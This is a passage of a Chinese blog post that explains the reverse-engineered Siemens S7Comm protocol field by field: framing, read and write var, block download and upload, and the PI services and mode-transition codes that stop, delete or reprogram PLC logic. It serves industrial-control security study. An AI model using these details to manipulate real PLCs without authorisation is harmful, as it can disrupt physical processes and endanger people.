about 3 results (0.03 seconds)

西门子通信协议S7Comm

by LauCyun Dec 6,2018 14:14:40 154,936 views

* 本文首发于FreeBuf,共三篇:

随着网络强国、工业4.0,工控安全市场今年明显有相当大的改善,无论从政策还是客户需求,都在逐步扩大中。但是,搞工控安全研究的人员却寥寥无几,一方面,没有可以研究和学习的便利的环境;另一方面工控安全是个跨学课的技术,需要了解多方面的知识,有比较高的技术上的门槛。特别是工控系统中通信协议,在工控系统中通信协议存在众多标准,也存在众多私有协议,如果你有过使用组态软件的经历,你便会发现,在第一步连接设备时除连接设备的方式有以太网/串行等方式外,各家基本上都存在自己的私有通信协议。比如:西门子的是S7Comm协议。

所以,本文主要介绍西门子的S7Comm协议(适用于S7-300、S7-400、S7-1200)。本文中S7Comm协议结构都是逆向而来,如有错误之处,请拍转。

1 西门子PLC系统构成

在介绍西门子S7Comm协议,首先得明白西门子PLC的大概构造。虽然我们不必像专门编写PLC程序员那样。下图1就是一个组态完毕的西门子S7 300的模型:


图1 西门子S7 300

根据标号,各模块分别是:

  • 1    电源模块(PS),供电专用
  • 2    CPU模块(CPU),负责处理信息
  • 4    通信模块(IM)
  • 5    数字量输入模块(DI)
  • 6    数字量输出模块(DO)
  • 7    模拟量输入模块(AI)
  • 8    模拟量输出模块(AO)

想具体了解的,请阅读西门子S7-300教程 第2章

2 S7协议结构

S7Comm(S7 Communication)是西门子专有的协议,是西门子S7通讯协议簇里的一种。

S7协议的TCP/IP实现依赖于面向块的ISO传输服务。S7协议被封装在TPKTISO-COTP协议中,这使得PDU(协议数据单元)能够通过TCP传送。

它用于PLC编程,在PLC之间交换数据,从SCADA(监控和数据采集)系统访问PLC数据以及诊断目的。

S7Comm以太网协议基于OSI模型:

OSI layer Protocol
7 Application Layer S7 communication
6 Presentation Layer S7 communication (COTP)
5 Session Layer S7 communication (TPKT)
4 Transport Layer ISO-on-TCP (RFC 1006)
3 Network Layer IP
2 Data Link Layer Ethernet
1 Physical Layer Ethernet

其中,第1-4层会由计算机自己完成(底层驱动程序),关于这些神马的定义,大家可以上网查一下;

第5层TPKT,应用程数据传输协议,介于TCP和COTP协议之间。这是一个传输服务协议,主要用来在COTP和TCP之间建立桥梁;

第6层COTP,按照维基百科的解释,COTP 是 OSI 7层协议定义的位于TCP之上的协议。COTP 以“Packet”为基本单位来传输数据,这样接收方会得到与发送方具有相同边界的数据;

第7层,S7 communication,这一层和用户数据相关,对PLC数据的读取报文在这里完成。

可能会对TPKT和COPT迷惑,其实在具体的报文中,TPKT的作用是包含用户协议(5~7层)的数据长度(字节数);COTP的作用是定义了数据传输的基本单位(在S7Comm中 PDU TYPE:DT data)。


图2 S7Comm协议OSI模型

3 TPKT协议

TPKT协议是应用程数据传输协议,介于TCP和COTP协议之间。这是一个传输服务协议,主要用来在COTP和TCP之间建立桥梁。

其英文介绍如下:

TPKT is an "encapsulation" protocol. It carries the OSI packet in its own packet's data payload and then passes the resulting structure to TCP, from then on, the packet is processed as a TCP/IP packet. The OSI programs passing data to TPKT are unaware that their data will be carried over TCP/IP because TPKT emulates the OSI protocol Transport Service Access Point(TSAP).

TPKT结构如图3:

TPKT协议结构
图3 TPKT协议结构

其中,TPKT的结构为:

  • 0 (Unsigned integer, 1 byte): Version,版本信息。
  • 1 (Unsigned integer, 1 byte): Reserved,保留(值为0x00)。
  • 2-3 (Unsigned integer, 2 bytes): Length,TPKT、COTP、S7三层协议的总长度,也就是TCP的payload的长度。

举个例子,如图4所示:


图4 一个TPKT的例子

从图4中可知,其version=3,length=25(0x0019)。

4 COTP协议

COTP(ISO 8073/X.224 COTP Connection-Oriented Transport Protocol)是OSI 7层协议定义的位于TCP之上的协议。COTP以“Packet”为基本单位来传输数据,这样接收方会得到与发送方具有相同边界的数据。

COTP协议分为两种形态,分别是COTP连接包(COTP Connection Packet)和COTP功能包(COTP Fuction Packet)。

4.1 COTP Connection Packet

COTP连接包(COTP Connection Packet)也就是S7Comm的握手包,其格式如图5所示。


图5 COTP连接包的结构

其中, COTP连接包的头结构为:

  • 0 (Unsigned integer, 1 byte): Length,COTP后续数据的长度(注意:长度不包含length的长度),一般为17 bytes。
  • 1 (Unsigned integer, 1 byte): PDU typ,类型有:
    • 0x1: 加急数据(ED Expedited Data);
    • 0x2: 加急数据确认(EA Expedited Data Acknowledgement);
    • 0x4: 用户数据(UD);
    • 0x5: 拒绝(RJ Reject);
    • 0x6: 数据确认(AK Data Acknowledgement);
    • 0x7: TPDU错误(ER TPDU Error);
    • 0x8: 断开请求(DR Disconnect Request);
    • 0xC: 断开确认(DC Disconnect Confirm);
    • 0xD: 连接确认(CC Connect Confirm);
    • 0xE: 连接请求(CR Connect Request);
    • 0xF: 数据传输(DT Data);
  • 2~3 (Unsigned integer, 2 bytes): Destination reference
  • 4~5 (Unsigned integer, 2 bytes): Source reference
  • 6 (1 byte): opt,其中包括Extended formats、No explicit flow control,值都是Boolean类型。
  • 7~? (length-7 bytes, 一般为11 bytes): Parameter,参数。一般参数包含Parameter code(Unsigned integer, 1 byte)、Parameter length(Unsigned integer, 1 byte)、Parameter data三部分。

算了,还是来个例子,更加明了:


图6 连接请求包

图6中,PDU类型为连接请求(0x0e),表示该数据包是一个连接请求包。为了更好对比,图7为图6的连接请求的响应包:


图7 连接确认包

4.2 COTP Fuction Packet

相对而言,COTP Fuction Packet比COTP Connection Packet简单多了,其结构如图8所示:


图8 COTP功能包的格式

其中, COTPP功能包的头结构为:

  • 0 (Unsigned integer, 1 byte): Length,COTP后续数据的长度(注意:长度不包含length的长度),一般为2 bytes。
  • 1 (Unsigned integer, 1 byte): PDU type,类型有:
    • 0x1: 加急数据(ED Expedited Data);
    • 0x2: 加急数据确认(EA Expedited Data Acknowledgement);
    • 0x4: 用户数据(UD);
    • 0x5: 拒绝(RJ Reject);
    • 0x6: 数据确认(AK Data Acknowledgement);
    • 0x7: TPDU错误(ER TPDU Error);
    • 0x8: 断开请求(DR Disconnect Request);
    • 0xC: 断开确认(DC Disconnect Confirm);
    • 0xD: 连接确认(CC Connect Confirm);
    • 0xE: 连接请求(CR Connect Request);
    • 0xF: 数据传输(DT Data);
  • 2 (1 byte): opt,其中包括Extended formats、No explicit flow control,值都是Boolean类型。

举个例子,如图9所示:


图9 数据传输包

上图中,PDU类型为连接请求(0x0f),表示该数据包是一个数据传输的包。

OK,COTP的两中结构介绍完了,接下来的S7Comm协议才是本文的重点。

5 S7Comm协议

上面,介绍了TPKT和COTP协议,现在开始介绍S7Comm协议,Are u ready?

S7Comm数据作为COTP数据包的有效载荷,第一个字节总是0x32作为协议标识符。

S7Comm协议包含三部分:

  • Header
  • Parameter
  • Data


图10 S7Comm协议结构

根据实现的功能不同,S7 comm协议的结构会有所不同。

5.1 S7Comm头结构

S7Comm的头,定义了该包的类型、参数长度、数据长度等,其结构如图11所示:


图11 S7Comm Header结构

所以,S7Comm Header的格式为:

  • 0 (unsigned integer, 1 byte): Protocol Id,协议ID,通常为0x32
  • 1 (unsigned integer, 1 byte): ROSCTR,PDU type,PDU的类型,一般有以下值:
    • 0x01:作业请求(JOB,request: job with acknowledgement),由主设备发送的请求(例如,读/写存储器,读/写块,启动/停止设备,设置通信);
    • 0x02:确认响应(ACK,acknowledgement without additional field),没有数据的简单确认;
    • 0x03:确认数据响应(ACK_DATA,Response: acknowledgement with additional field),这个一般都是响应JOB的请求;
    • 0x07:协议的扩展(USERDATA),参数字段包含请求/响应ID(用于编程/调试,读取SZL,安全功能,时间设置,循环数据...)。
  • 2~3 (unsigned integer, 2 bytes): Redundancy Identification (Reserved),冗余数据,通常为0x0000
  • 4~5 (unsigned integer, 2 bytes): Protocol Data Unit Reference,it's increased by request event。协议数据单元参考,通过请求事件增加;
  • 6~7 (unsigned integer, 2 bytes): Parameter length,the total length (bytes) of parameter part。参数的总长度;
  • 8~9 (unsigned integer, 2 bytes): Data length,数据长度。如果读取PLC内部数据,此处为0x0000;对于其他功能,则为Data部分的数据长度;

来看一个例子解释一下,如图12所示:


图12 一个S7Comm头结构的例子

其中最重要的字段就是ROSCTR,它决定了后续参数的结构,这个后面的章节中有详细的介绍。

在响应数据包中,还有可能存在错误信息。就拿图12为例,如果出错了,其响应包如图13所示:


图13 带有错误信息的响应包

其错误信息结构为:

  • 10 (unsigned integer, 1 bytes): 错误类型(Error class):
    • 其详细的Error class,参考6.1.1
  • 11 (unsigned integer, 1 bytes): 错误码(Error code);

由此,可见图13的错误类型是No error,至于错误代码,啥含义我也母知道。

为了更好理解,接下来就不按照Parameter、Data的顺序介绍,而是按照PDU类型进行介绍,尿急的赶紧上厕所哈!

5.2 作业请求(Job)和确认数据响应(Ack_Data)

上面介绍了S7Comm PDU的结构和通用协议头其头部结构。

S7Comm中Job和Ack_Data中的Parameter项的第一个字段是function(功能码),其类型为Unsigned integer,大小为1 byte,其详细的功能码,请参考6.2.1 Job和Ack_Data的功能码。决定了其余字段的结构、消息的目的。

所以接下来,将进一步介绍各功能码对应的结构和作用。

5.2.1 建立通信(Setup communication [0xF0])

建立通信在每个会话开始时被发送,然后可以交换任何其他消息。它用于协商ACK队列的大小和最大PDU长度,双方声明它们的支持值。ACK队列的长度决定了可以同时启动而不需要确认的并行作业的数量。PDU和队列长度字段都是大端。

先说Job吧!当PDU类型为Job时,建立通信功能中Parameter的结构,如下图:


图14 S7comm的结构(建立通信的作业请求)

具体的Parameter结构,如下:

  • 1 (Unsigned integer, 1 byte): Parameter part: Reserved byte in communication setup pdu,保留字节;
  • 2 (Unsigned integer, 2 bytes): Max AmQ (parallel jobs with ack) calling;
  • 3 (Unsigned integer, 2 bytes): Max AmQ (parallel jobs with ack) called;
  • 4 (Unsigned integer, 2 bytes): Parameter part: Negotiate PDU length。协商PDU长度。

举个例子:


图15 建立通信的请求

那么其确认响应的结构如何呢?跟请求时一样的,如图14所示。那么图16为图15的确认响应:


图16 建立通信的确认响应

如图15、16所示,其协商结果为:ACK队列的大小为1;最大PDU长度为240

5.2.2 读取值(Read Var [0x04])

数据读写操作通过指定变量的存储区域(参考6.3 区域(Area names)),地址(偏移量)及其大小或类型(参考6.4.1 Transport sizes in item data)来执行。

先说Job吧!当PDU类型为Job时,那么其S7Comm结构,如图17所示:


图17  S7comm的结构(读取值的作业请求)

所以,接下来的Parameter字段是item count(项目个数),其类型为Unsigned integer,大小为1 byte

那么一个item的结构是咋样的呢?如下(图17中item1):

  • 0 (Unsigned integer, 1 byte):结构标识(Variable specification),通常为0x12,代表变量规范;
  • 1 (Unsigned integer, 1 byte):长度(Length of following address specification),主要是以此往后的长度;
  • 2 (Unsigned integer, 1 byte): 结构标识的Syntax Ids(Syntax Ids of variable specification),确定寻址模式和其余项目结构的格式。常见的Syntax Id,可参考6.5
  • 3(Unsigned integer, 1 byte):变量的类型(Transport sizes in item data),常见的变量类型,可参考6.4.1
  • 4~5 (Unsigned integer ,2 byte):请求数据长度(Request data length);
  • 6~7 (Unsigned integer, 2 byte):DB编号(DB number),如果访问的不是DB区域,此处为0x0000
  • 8 (Unsigned integer, 1 byte):区域(Area),常见的区域,可参考6.3
  • 9~11(Unsigned integer, 3 byte):地址(Address)。

头晕了吧?哈哈哈~~先举个例子:

S7Comm Job Read Var example
图18 读值操作的作业请求

图17中item1是读取DB10x000010(DB1.DBX 2.0 BIT 1)值,并且类型为BIT的请求。

PDU类型为Job时,S7Comm结构介绍完了,那PDU类型为Ack_Data时,其S7Comm的结构如何呢?


图19  S7comm的结构(读取值的确认数据响应)

是的,其Parameter只有function、item count两个字段。

继续,那么接下来的是Data啦!其结构如下:

  • 0 (Unsigned integer, 1 byte): 返回码(Return Code),常见的返回码,可参考6.6
  • 1 (Unsigned integer, 1 byte): 数据传输大小(Transport Size),常见的值,可参考6.4.2
  • 2~3 (Unsigned integer, 2 bytes): 数据的长度(Length);
  • 4~4+length (?): 数据(Data);
  • n (Unsigned integer, 1 byte): 填充字节(Fill byte),如果数据的长度不足Length的话,则填充0x00

继续看图18响应的数据包,如图20所示:


图20 读值操作的确认数据响应

图20中,item1是读取DB10x000010(DB1.DBX 2.0 BIT 1)值,并且类型为BIT的响应,其响应的数据为01

5.2.3 写入值(Write Var [0x05])

Write Var中Parameter的结构跟5.2.2一样,但是Write Va还需写入值,所以Write Var比Read Var多Data项。结构如下:


图21 S7comm的结构(写入值的作业请求)

由此,Data的结构为:

  • 0 (Unsigned integer, 1 byte): 返回码(Return Code),这里是未定义,所以为Reserved(0x00);
  • 1 (Unsigned integer, 1 byte): 数据传输大小(Transport Size),常见的值,可参考6.4.2
  • 2~3 (Unsigned integer, 2 bytes): 数据的长度(Length);
  • 4~4+length (?): 写入的数据(Data);
  • n (Unsigned integer, 1 byte): 填充字节(Fill byte),如果数据的长度不足Length的话,则填充0x00

举个例子:

S7Comm Job Write Var example
图22 向地址为0x000008的Flags(M)写入0x00的作业请求

图22中,是一个向地址为0x000008的Flags(M)写入0x00的作业请求。

那PDU类型为Ack_Data时,其S7Comm的结构如何呢?


图23 S7comm的结构(写入值的确认数据响应)

对的,Parameter也只有function、item count两个字段。而Data中也只有一个Return code字段,其结构如下:

  • 0 (Unsigned integer, 1 byte):返回码(Return Code),常见的返回码,可参考请6.6

继续看图22的响应数据包,如图24所示:


图24 向地址为0x000008的Flags(M)写入0x00的确认响应

图24中的item1,说明向地址为0x000008Flags(M)写入0x00成功!

5.2.4 下载

下载是Step7发送块数据给PLC(图25)。在西门子设备上,程序代码和(大部分)程序数据存储在块中,这些块有自己的头和编码格式。

在西门子设备中有8种不同类型的功能块,具体的请参考6.7 功能块

这些块在上/下载请求中用特殊的ASCII文件名寻址。这个文件名的结构如下:

  • 1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)$ (Module header for up-loading)两种文件标识符;
  • 2 (2 bytes): Block type,块类型。具体类型,请参考6.7 功能块
  • 3 (5 bytes): Block number,块编号;
  • 4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有三种文件系统:
    • P(Passive (copied, but not chained) module):被动文件系统
    • A (Active embedded module):主动文件系统
    • B (Active as well as passive module):既主既被文件系统

例如:文件名为_0A00001P(文件标识是_,块类型为DB,块的编号为00001,目标块的文件系统是P。),用于将DB 1复制到被动文件系统或从被动文件系统复制。

下载有3中不同的功能类型:

  • 请求下载(Request download [0x1A])
  • 下载块(Download block [0x1B])
  • 下载结束(Download ended [0x1C])

在下载过程中,先是Step7向PLC发送一个请求下载的Job,PLC收到后则回复一个Ack_Data。在发送完所有字节后,Step7向PLC发送一个下载结束的Job来关闭下载会话。 时序图如下:


图25 下载时序图(图片来源:互联网

好了,开始介绍下载的结构啦!

如图26所示,即为一个完整的下载过程:


图26 一个完整的下载过程例子

5.2.4.1 请求下载(Request download [0x1A])

先来介绍,当PDU类型为Job时,Request download [0x1A]没有Data,其Parameter的结构,如下:

  • 1 (1 byte): Function Status,功能码状态;
  • 2 (2 bytes): for all unknown bytes in blockcontrol;
  • 3 (4 bytes): 无意义,一般为0x00000000;
  • 4 (1 byte): filename length,文件名长度;
  • 5 (? bytes): filename, default is 9 byte,文件名,长度一般为9个字节;
    • 1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)$ (Module header for up-loading)两种文件标识符;
    • 2 (2 bytes): Block type,块类型。具体类型,请参考6.7 功能块
    • 3 (5 bytes): Block number,块编号;
    • 4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)A (Active embedded module)B (Active as well as passive module)三种文件系统;
  • 6 (1 byte): Length part 2 in bytes,参数的第二部分长度,也就是接下来的字段长度;
  • 7 (1 byte): Unknown char(ASCII);
  • 8 (6 bytes): Length load memory in bytes(ASCII);
  • 9 (6 bytes): Length of MC7 code in bytes(ASCII)。

其实就是告诉PLC要下载块。举个例子:


图27 请求下载_0800001P的作业请求

如图27所示,文件标识是_ (Complete Module),块类型为OB,块的编号为00001,目标块的文件系统是P (Passive (copied, but not chained) module),所以文件名为_0800001P。

那PDU类型为Ack_Data时,Request download [0x1A]的Parameter中只有一个function。下图即为图27的响应:


图28 请求下载_0800001P的确认数据响应

OK,请求下载完成后,接下来就可以Download block了!

5.2.4.2 下载块(Download block [0x1B])

上面说了,下载是Step7发送块数据给PLC。

当PDU类型为Job时,Download block [0x1B]也没有Data,其Parameter的结构,如下:

  • 1 (1 byte): Function Status,功能码状态;
  • 2 (2 bytes): for all unknown bytes in blockcontrol;
  • 3 (4 bytes): 无意义,一般为0x00000000;
  • 4 (1 byte): filename length,文件名长度;
  • 5 (? bytes): filename, default is 9 byte,文件名,长度一般为9个字节;
    • 1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)$ (Module header for up-loading)两种文件标识符;
    • 2 (2 bytes): Block type,块类型。具体类型,请参考6.7 功能块
    • 3 (5 bytes): Block number,块编号;
    • 4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)A (Active embedded module)B (Active as well as passive module)三种文件系统;

是的,Download block [0x1B]的Parameter比Request download [0x1A]的Parameter的第一部分相同!

为了更好比较,举个例子:


图29 下载块_0800001P的作业请求

上图是下载_0800001P的作业请求。

那PDU类型为Ack_Data时,Download block [0x1B]有Parameter和Data,其Parameter的结构,如下:

  • 1 (1 byte): Function Status,功能码状态;

而其Data的结构,如下:

  • 1 (Unsigned integer, 2 bytes): Length,数据长度;
  • 2 (Unsigned integer, 2 bytes): Unknown byte(s) in blockcontrol,未知字节;
  • 3 (Label,data_length-4 bytes): Data,数据;

下图即为图29的响应:


图30 下载块_0800001P的响应

5.2.4.3 下载结束(Download ended [0x1C])

当PDU类型为Job时,Download ended [0x1C]也没有Data,其Parameter的结构,如下:

  • 1 (1 byte): Function Status,功能码状态;
  • 2 (2 bytes): for all unknown bytes in blockcontrol;
  • 3 (4 bytes): 无意义,一般为0x00000000;
  • 4 (1 byte): filename length,文件名长度;
  • 5 (? bytes): filename, default is 9 byte,文件名,长度一般为9个字节;
    • 1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)$ (Module header for up-loading)两种文件标识符;
    • 2 (2 bytes): Block type,块类型。具体类型,请参考6.7 功能块
    • 3 (5 bytes): Block number,块编号;
    • 4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)A (Active embedded module)B (Active as well as passive module)三种文件系统;

是的,Download ended [0x1C]跟Download block [0x1B]的Parameter和Request download [0x1A]的Parameter的第一部分相同!

举个例子:


图31 结束下载_0800001P的作业请求

图31是结束下载0800001P的作业请求。

那PDU类型为Ack_Data时,Download ended [0x1C]的Parameter中只有一个function。下图即为图31的响应:


图32 结束下载_0800001P的响应

这样,整个下载过程就完成了!

下载到这就介绍完了,接着就介绍上传啦!

5.2.5 上传

上传是PLC发送块数据给Step7(如图33)。

上传有3中不同的功能类型:

  • 开始上传(Start upload [0x1D])
  • 上传(Upload [0x1E])
  • 上传结束(End upload [0x1F])

在上传过程中,先是Step7向PLC发送一个开始上传的Job,PLC收到后则回复一个Ack_Data,并告诉Step7块的长度、上传会话ID。然后PLC继续上传块数据到Step7,直到Step7收到所有字节。最后,Step7发送结束上传的作业请求来关闭上传会话。时序图如下:


图33 上传的时序图(图片来源:互联网

好了,开始介绍上传的结构啦!

如图34所示,即为一个完整的下载过程:


图34 一个完整的上传过程例子

5.2.5.1 开始上传(Start upload [0x1D])

先来介绍,当PDU类型为Job时,Start upload [0x1D]没有Data,其Parameter的结构,如下:

  • 1 (1 byte): Function Status,功能码状态;
  • 2 (2 bytes): for all unknown bytes in blockcontrol;
  • 3 (4 bytes): 上传的会话ID,此时为0x00000000;
  • 4 (1 byte): filename length,文件名长度;
  • 5 (? bytes): filename, default is 9 byte,文件名,长度一般为9个字节;
    • 1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)$ (Module header for up-loading)两种文件标识符;
    • 2 (2 bytes): Block type,块类型。具体类型,请参考6.7 功能块
    • 3 (5 bytes): Block number,块编号;
    • 4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)A (Active embedded module)B (Active as well as passive module)三种文件系统;

其实就是告诉PLC你上传的位置。举个例子:


图35 开始上传的作业请求

如图35所示,文件标识是_ (Complete Module),块类型为0B(SDB),块的编号为00000,目标块的文件系统是A (Active embedded module),所以文件名为_0B00000A。

那PDU类型为Ack_Data时,Start upload [0x1D]的Parameter的结构,如下:

  • 1 (1 byte): Function Status,功能码状态;
  • 2 (2 bytes): for all unknown bytes in blockcontrol;
  • 3 (4 bytes): 上传的会话ID,告诉Step7上传会话ID;
  • 4 (Unsigned integer, 1 byte): Blocklengthstring Length;
  • 5 (Character string): Blocklength,块的长度;

下图即为图35的响应:


图36 开始上传的响应

图36中,其上传会话ID为0x00000007。

5.2.5.2 上传(Upload [0x1E])

上面说了,上传是PLC发送块数据给Step7。

当PDU类型为Job时,Upload [0x1E]也没有Data,其Parameter的结构,如下:

  • 1 (1 byte): Function Status,功能码状态;
  • 2 (2 bytes): for all unknown bytes in blockcontrol;
  • 3 (4 bytes): 上传的会话ID,告诉Step7上传会话ID;

为了更好比较,举个例子:


图37 上传的作业请求

那PDU类型为Ack_Data时,Upload [0x1E]有Parameter和Data,其Parameter的结构,如下:

  • 1 (1 byte): Function Status,功能码状态;

而其Data的结构,如下:

  • 1 (Unsigned integer, 2 bytes): Length,数据长度;
  • 2 (Unsigned integer, 2 bytes): Unknown byte(s) in blockcontrol,未知字节;
  • 3 (Label,data_length-4 bytes): Data,数据;

下图即为图37的响应:


图38 上传的确认数据响应

5.2.5.3 上传结束(End upload [0x1F])

上传结束的过程,即为所有数据上传完成后,Step7发送结束上传的作业请求,PLC收到后就关闭会话,然后返回一个响应。

当PDU类型为Job时,End upload [0x1F]也没有Data,其Parameter的结构,如下:

  • 1 (1 byte): Function Status,功能码状态;
  • 2 (2 bytes): Error code,错误代码:
  • 3 (4 bytes): 上传的会话ID,告诉Step7上传会话ID;

举个例子:


图39 上传结束的作业请求

那PDU类型为Ack_Data时,End upload [0x1F]的Parameter中只有一个function。

图40所示,即为图39的响应:


图40 上传结束的响应

这样,整个上传过程就完成了!

5.2.6 程序调用服务(PI service [0x28])

程序调用是用于在PLC执行修改执行/内存状态的日常工作。这些命令可以用于启动或停止PLC控制程序、激活或删除程序块。

当PDU类型为Job时,PI service [0x28]没有Data,只有Parameter,那Parameter的结构,如下:

  • 1 (7 bytes): Unknown;
  • 2 (Unsigned integer, 2 bytes): Parameter block length;
  • 3 (? bytes): Parameter block,参数;
  • 4 (Unsigned integer, 1 byte): String length,PI service的字符串长度;
  • 5 (Character string, ASCII):  PI (program invocation) Service name,程序调用服务名,参考6.8 程序调用服务名(PI service names)

Parameter包含两个主要部分:

  • 服务名称
  • 参数:取决于方法类型,可以将它们看作是它的参数

服务名称及其相关参数的示例:

  • _INSE:激活设备上下载的块,参数是块的名称(比如:OB 1)。
  • _DELE:从设备的文件系统中删除一个块,该参数也是该块的名称。
  • P_PROGRAM:设置设备的运行状态(启动、停止、复位)。 
  • _GARB:压缩PLC内存。
  • _MODU:将ram复制到ROM,参数包含文件系统标识符(A/E/P)。

如果服务调用的参数是块的话,那么Parameter block的结构如下:

  • 1 (1 byte): Number of block;
  • 2 (1 byte): Unknown,默认为0x00;
  • 3 (? bytes): filename,文件名:
    • 1 (2 bytes, ASCII): Block type,块类型。具体类型,请参考6.7 功能块
    • 2 (5 bytes, ASCII): Block number,块编号;
    • 3 (1 byte, ASCII): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)A (Active embedded module)B (Active as well as passive module)三种文件系统;

举个例子,如图41所示:


图41 _INSE(激活PLC块)的作业请求

上图可知服务名称是_INSE,参数是0B0004P(SDB4),那么它的作业请求是激活PLC中SDB 4,那么它的请求响应又是如何呢?如图42所示:


图42 _INSE(激活PLC模块)的响应

而另一种情况,如图43所示:


图43  _MODU(复制RAM到ROM)的作业请求

上图中,其Parameter block中只有Argument。

5.2.7 PLC STOP [0x29]

PLC STOP 基本上跟5.2.6 程序调用服务(PI service [0x28])一致,唯一的区别就是它没有Parameter block,而它的PI service为P_PROGRAM。搞不明白为啥单独占用一个功能码~~~

看个例子吧,如图44所示:


图44 PLC STOP的作业请求

到此为此JOB和ACK_DATA类型下的功能码都介绍完了,接下来介绍S7commm协议的扩展。

5.3 协议拓展(Userdata)

上面介绍了S7Comm的JOB和ACK_DATA两个PDU类型,那接着将介绍PDU类型是UserData的内容,它用于编程/调试、读取SZL、安全功能、时间设置,循环读取等,可以说是S7Comm中最复杂的一部分。

大家不要慌哈Face with Tears of Joy Are u ready?

Okay,当PDU类型为UserData时,其S7Comm结构,如图45所示:


图45 S7Comm的结构(UserData)

图45中蓝色部分为S7Comm头部,橘色为Parameter部分,具体的Parameter结构如下:

  • 1 (3 bytes):参数头(Parameter head);
  • 2 (1 byte):参数长度(Parameter length),它的可能是8字节或12字节;
  • 3 (1 byte):未知定义;
  • 4 (1/2 byte,高位):参数类型(Type),常见的类型可参考6.9
  • 5 (1/2 byte,Low nibble):功能组(Function group),常见的功能组可参考6.2.2
  • 6 (1 byte):子功能码(SubFunction);
  • 7 (1 byte):序号。

接着就是一一介绍各个功能组。

5.3.1 转换工作模式(Mode-transition [0x0])

当功能组为转换工作模式(Mode-transition)时,请求报文中是没有Data部分的,而主要起作用的是子功能码(Subfunction),常见的子功能码有:

  • STOP(0x00):STOP模式;
  • Warm Restart(0x01):暖启动;
  • RUN(0x02):RUN模式;
  • Hot Restart(0x03):热启动;
  • HOLD(0x04):HOLD模式;
  • Cold Restart(0x06):冷启动;
  • RUN_R (H-System redundant)(0x09):H-System冗余运行;
  • LINK-UP(0x0B):LINK-UP模式;
  • UPDATE(0x0C):UPDATE模式。

关于暖启动、冷启动、热启动的区别可参考:S7-400 CPU 启动(暖启动),冷启动和热启动的区别是什么? - ID: 34053758 - Industry Support Siemens,至于冗余可参考:何为冗余-找答案-工业支持中心-西门子(中国)有限公司(SLC)

来看个栗子消化一下吧,如图46所示:


图46 工作模式转换为暖启动

如图46中绿色部分为参数类型(Type)和功能组(Function group),蓝色框内容是子功能码(SubFunction),值是0x01,即为暖启动。

5.3.2 程序员命令(Programmer commands [0x1])

程序员命令(Programmer commands)主要是工程师用于编程或调试,比如:监视/修改变量、读取修改诊断数据。所有的子功能码有:

  • 0x01:请求诊断数据(Request diag data (Type 1));
  • 0x02:变量表(VarTab);
  • 0x0c:读取诊断数据(Read diag data);
  • 0x0e:移除诊断数据(Remove diag data);
  • 0x0f:清除(Erase);
  • 0x10:强制(Forces);
  • 0x13:请求诊断数据(Request diag data (Type 2));

这里的请求报文和响应报文都和图45有点不一样,具体如图47所示:

图47 功能码组为Programmer commands的报文结构

下面以变量表为例,变量表如图48所示:


图48 变量表

如果对DB100.DBW 2进行监视,那么他的请求报文如图49所示:


图49 监视变量表的请求报文

图49中的Header、Parameter在前面已经介绍了,重点介绍Data部分的结构,请求报文的Data结构如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),通常有bit、byte等,具体可参考6.4.2
  • 3 (2 bytes) : 往后的数据长度,如图49为32个字节;
  • 4 (1 byte) : Unknown;
  • 5 (1 byte) : 报文类型(type of data),分为请求(0x14)、响应(0x04);
  • 6 (2 bytes) : Item count和Item data的长度(Byte count);
  • 7 (20 bytes) : Unknown;
  • 8 (2 bytes) : Item个数;
  • 9 (varibale bytes) : Item 1;
    • 1 (1 byte) : 区域(Area);
    • 2 (1 byte) : 长度(Length (repetition factor));
    • 3 (2 bytes) : 块号(DB number);
    • 4 (2 bytes) : 偏移地址(Startaddress)。
  • ...
  • n (varibale bytes) : Item n;

响应报文跟请求非常的像,但是还是有所不一样,响应报文的Data结构如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),通常有bit、byte等,具体可参考6.4.2
  • 3 (2 bytes) : 往后的数据长度,如图49为32个字节;
  • 4 (1 byte) : Unknown;
  • 5 (1 byte) : 报文类型(type of data),分为请求(0x14)、响应(0x04);
  • 6 (2 bytes) : Item count和Item data的长度(Byte count);
  • 7 (4 bytes) : Unknown;
  • 8 (2 bytes) : Item个数;
  • 9 (varibale bytes) : Item 1;
    • 1 (1 byte) : 返回码,具体的可参考6.6
    • 2 (1 byte) : 数据类型(Transport sizes),通常有bit、byte等,具体可参考6.4.2
    • 3 (2 bytes) : 往后的数据长度;
    • 4 (varibale bytes) : Data。
  • ...
  • n (varibale bytes) : Item n;

举个栗子:

图50 监视变量表的响应报文

从图50中,得知DB100.DBW 2的值是61a8

其它的子功能都比监视/修改变量表(VarTab)简单,在这就不一一介绍了,感兴趣的可以去研究研究。

5.3.3 循环数据(Cyclic data [0x2])

循环数据(Cyclic data)是用于循环读取内存数据、取消订阅循环数据,比如:DB、M等。所有的子功能码有:

  • 0x01:读取内存数据(Memory),比如DB、M等;
  • 0x04:取消订阅或禁用循环数据(Unsubscribe (disable) cyclic data);
  • 0x05:读取内存数据(Memory),跟0x01一样,但仅用于S7-400。

它的请求报文、响应报文中头(Header)、参数(Parameter)结构和图45一致,而Data结构如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),通常有bit、byte等,具体可参考6.4.2
  • 3 (2 bytes) : 以此往后的数据长度,如图51为16个字节;
  • 4 (2 bytes) : Item个数;
  • 5 (1byte) : 扫描间隔(Interval timebase);
  • 6 (1byte) : 时间间隔(Interval timebase);
  • 7 (varibale bytes) : Item 1;
    • 1 (1 byte) : Variable specification;
    • 2 (1 byte) : 以下规范地址的长度(Length of following address specification);
    • 3 (1 byte) : Syntax Id,常见的结构标识可参考6.5;
